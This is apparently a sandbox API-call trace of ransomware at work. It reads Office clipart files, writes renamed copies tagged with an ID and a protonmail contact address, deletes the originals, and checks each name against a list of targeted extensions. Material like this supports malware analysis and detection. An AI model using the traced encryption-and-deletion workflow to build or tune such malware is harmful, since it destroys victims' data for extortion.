	[0193.539] ReadFile (in: hFile=0x510, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x43b4, lpOverlapped=0x0) returned 1
	[0193.542] WriteFile (in: hFile=0x5c4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x43c0, lpOverlapped=0x0) returned 1
	[0193.545] ReadFile (in: hFile=0x510, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.545] WriteFile (in: hFile=0x5c4, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0193.545] SetEndOfFile (hFile=0x5c4) returned 1
	[0193.545] CloseHandle (hObject=0x5c4) returned 1
	[0193.545] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.545] SetEndOfFile (hFile=0x510) returned 1
	[0193.549] CloseHandle (hObject=0x510) returned 1
	[0193.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105526.wmf")) returned 1
	[0193.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.550] lstrlenW (lpString=".doc") returned 4
	[0193.550] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.550] lstrlenW (lpString=".docx") returned 5
	[0193.550] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0193.550] lstrlenW (lpString=".pdf") returned 4
	[0193.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.551] lstrlenW (lpString=".xls") returned 4
	[0193.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.551] lstrlenW (lpString=".xlsx") returned 5
	[0193.551] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0193.551] lstrlenW (lpString=".ppt") returned 4
	[0193.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.551] lstrlenW (lpString=".zip") returned 4
	[0193.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.551] lstrlenW (lpString=".rar") returned 4
	[0193.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.551] lstrlenW (lpString=".bz2") returned 4
	[0193.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.551] lstrlenW (lpString=".7z") returned 3
	[0193.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.551] lstrlenW (lpString=".dbf") returned 4
	[0193.551] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.551] lstrlenW (lpString=".1cd") returned 4
	[0193.551] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.551] lstrlenW (lpString=".jpg") returned 4
	[0193.551] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.551] lstrlenW (lpString=".doc") returned 4
	[0193.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0193.552] lstrlenW (lpString=".docx") returned 5
	[0193.552] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0193.552] lstrlenW (lpString=".pdf") returned 4
	[0193.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0193.552] lstrlenW (lpString=".xls") returned 4
	[0193.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0193.552] lstrlenW (lpString=".xlsx") returned 5
	[0193.552] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0193.552] lstrlenW (lpString=".ppt") returned 4
	[0193.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0193.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.552] lstrlenW (lpString=".zip") returned 4
	[0193.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0193.552] lstrlenW (lpString=".rar") returned 4
	[0193.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0193.552] lstrlenW (lpString=".bz2") returned 4
	[0193.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0193.552] lstrlenW (lpString=".7z") returned 3
	[0193.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0193.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.552] lstrlenW (lpString=".dbf") returned 4
	[0193.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0193.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.552] lstrlenW (lpString=".1cd") returned 4
	[0193.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0193.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105526.WMF") returned 68
	[0193.552] lstrlenW (lpString=".jpg") returned 4
	[0193.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0193.553] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0193.553] lstrlenW (lpString="J0105530.WMF") returned 12
	[0193.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0193.554] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=7384) returned 1
	[0193.554] CloseHandle (hObject=0x510) returned 1
	[0193.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220
	[0193.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0193.761] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.761] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0194.064] GetLastError () returned 0x0
	[0194.064] ReadFile (in: hFile=0x5e0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1cd8, lpOverlapped=0x0) returned 1
	[0194.073] WriteFile (in: hFile=0x590, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1ce0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1ce0, lpOverlapped=0x0) returned 1
	[0194.074] ReadFile (in: hFile=0x5e0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.074] WriteFile (in: hFile=0x590, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.074] SetEndOfFile (hFile=0x590) returned 1
	[0194.074] CloseHandle (hObject=0x590) returned 1
	[0194.074] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.074] SetEndOfFile (hFile=0x5e0) returned 1
	[0194.080] CloseHandle (hObject=0x5e0) returned 1
	[0194.080] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 1
	[0194.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.082] lstrlenW (lpString=".doc") returned 4
	[0194.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.082] lstrlenW (lpString=".docx") returned 5
	[0194.082] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0194.082] lstrlenW (lpString=".pdf") returned 4
	[0194.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.082] lstrlenW (lpString=".xls") returned 4
	[0194.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.082] lstrlenW (lpString=".xlsx") returned 5
	[0194.082] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0194.082] lstrlenW (lpString=".ppt") returned 4
	[0194.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.082] lstrlenW (lpString=".zip") returned 4
	[0194.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.082] lstrlenW (lpString=".rar") returned 4
	[0194.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.082] lstrlenW (lpString=".bz2") returned 4
	[0194.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.082] lstrlenW (lpString=".7z") returned 3
	[0194.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.082] lstrlenW (lpString=".dbf") returned 4
	[0194.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.082] lstrlenW (lpString=".1cd") returned 4
	[0194.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.083] lstrlenW (lpString=".jpg") returned 4
	[0194.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.083] lstrlenW (lpString=".doc") returned 4
	[0194.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.083] lstrlenW (lpString=".docx") returned 5
	[0194.083] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0194.083] lstrlenW (lpString=".pdf") returned 4
	[0194.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.083] lstrlenW (lpString=".xls") returned 4
	[0194.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.083] lstrlenW (lpString=".xlsx") returned 5
	[0194.083] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0194.083] lstrlenW (lpString=".ppt") returned 4
	[0194.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.083] lstrlenW (lpString=".zip") returned 4
	[0194.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.083] lstrlenW (lpString=".rar") returned 4
	[0194.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.083] lstrlenW (lpString=".bz2") returned 4
	[0194.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.083] lstrlenW (lpString=".7z") returned 3
	[0194.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.083] lstrlenW (lpString=".dbf") returned 4
	[0194.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.084] lstrlenW (lpString=".1cd") returned 4
	[0194.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF") returned 68
	[0194.084] lstrlenW (lpString=".jpg") returned 4
	[0194.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.084] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.084] lstrlenW (lpString="J0105912.WMF") returned 12
	[0194.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0194.085] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=11720) returned 1
	[0194.085] CloseHandle (hObject=0x5e0) returned 1
	[0194.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220
	[0194.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0194.086] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.086] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0194.087] GetLastError () returned 0x0
	[0194.087] ReadFile (in: hFile=0x5e0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x2dc8, lpOverlapped=0x0) returned 1
	[0194.108] WriteFile (in: hFile=0x590, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x2dd0, lpOverlapped=0x0) returned 1
	[0194.110] ReadFile (in: hFile=0x5e0, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0194.110] WriteFile (in: hFile=0x590, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0194.110] SetEndOfFile (hFile=0x590) returned 1
	[0194.110] CloseHandle (hObject=0x590) returned 1
	[0194.111] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.111] SetEndOfFile (hFile=0x5e0) returned 1
	[0194.114] CloseHandle (hObject=0x5e0) returned 1
	[0194.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0194.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1
	[0194.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.116] lstrlenW (lpString=".doc") returned 4
	[0194.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.117] lstrlenW (lpString=".docx") returned 5
	[0194.117] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0194.117] lstrlenW (lpString=".pdf") returned 4
	[0194.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.117] lstrlenW (lpString=".xls") returned 4
	[0194.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.117] lstrlenW (lpString=".xlsx") returned 5
	[0194.117] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0194.117] lstrlenW (lpString=".ppt") returned 4
	[0194.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.117] lstrlenW (lpString=".zip") returned 4
	[0194.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.117] lstrlenW (lpString=".rar") returned 4
	[0194.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.117] lstrlenW (lpString=".bz2") returned 4
	[0194.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.117] lstrlenW (lpString=".7z") returned 3
	[0194.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.117] lstrlenW (lpString=".dbf") returned 4
	[0194.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.117] lstrlenW (lpString=".1cd") returned 4
	[0194.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.117] lstrlenW (lpString=".jpg") returned 4
	[0194.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.118] lstrlenW (lpString=".doc") returned 4
	[0194.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0194.118] lstrlenW (lpString=".docx") returned 5
	[0194.118] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0194.118] lstrlenW (lpString=".pdf") returned 4
	[0194.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0194.118] lstrlenW (lpString=".xls") returned 4
	[0194.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0194.118] lstrlenW (lpString=".xlsx") returned 5
	[0194.118] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0194.118] lstrlenW (lpString=".ppt") returned 4
	[0194.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0194.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.118] lstrlenW (lpString=".zip") returned 4
	[0194.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0194.118] lstrlenW (lpString=".rar") returned 4
	[0194.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0194.118] lstrlenW (lpString=".bz2") returned 4
	[0194.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0194.118] lstrlenW (lpString=".7z") returned 3
	[0194.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0194.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.118] lstrlenW (lpString=".dbf") returned 4
	[0194.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0194.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.118] lstrlenW (lpString=".1cd") returned 4
	[0194.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0194.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68
	[0194.119] lstrlenW (lpString=".jpg") returned 4
	[0194.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0194.119] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0194.119] lstrlenW (lpString="J0105974.WMF") returned 12
	[0194.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0194.120] GetFileSizeEx (in: hFile=0x5e0, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4612) returned 1
	[0194.120] CloseHandle (hObject=0x5e0) returned 1
	[0194.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220
	[0194.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e0
	[0194.121] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.121] SetFilePointerEx (in: hFile=0x5e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d0
	[0194.486] GetLastError () returned 0x0
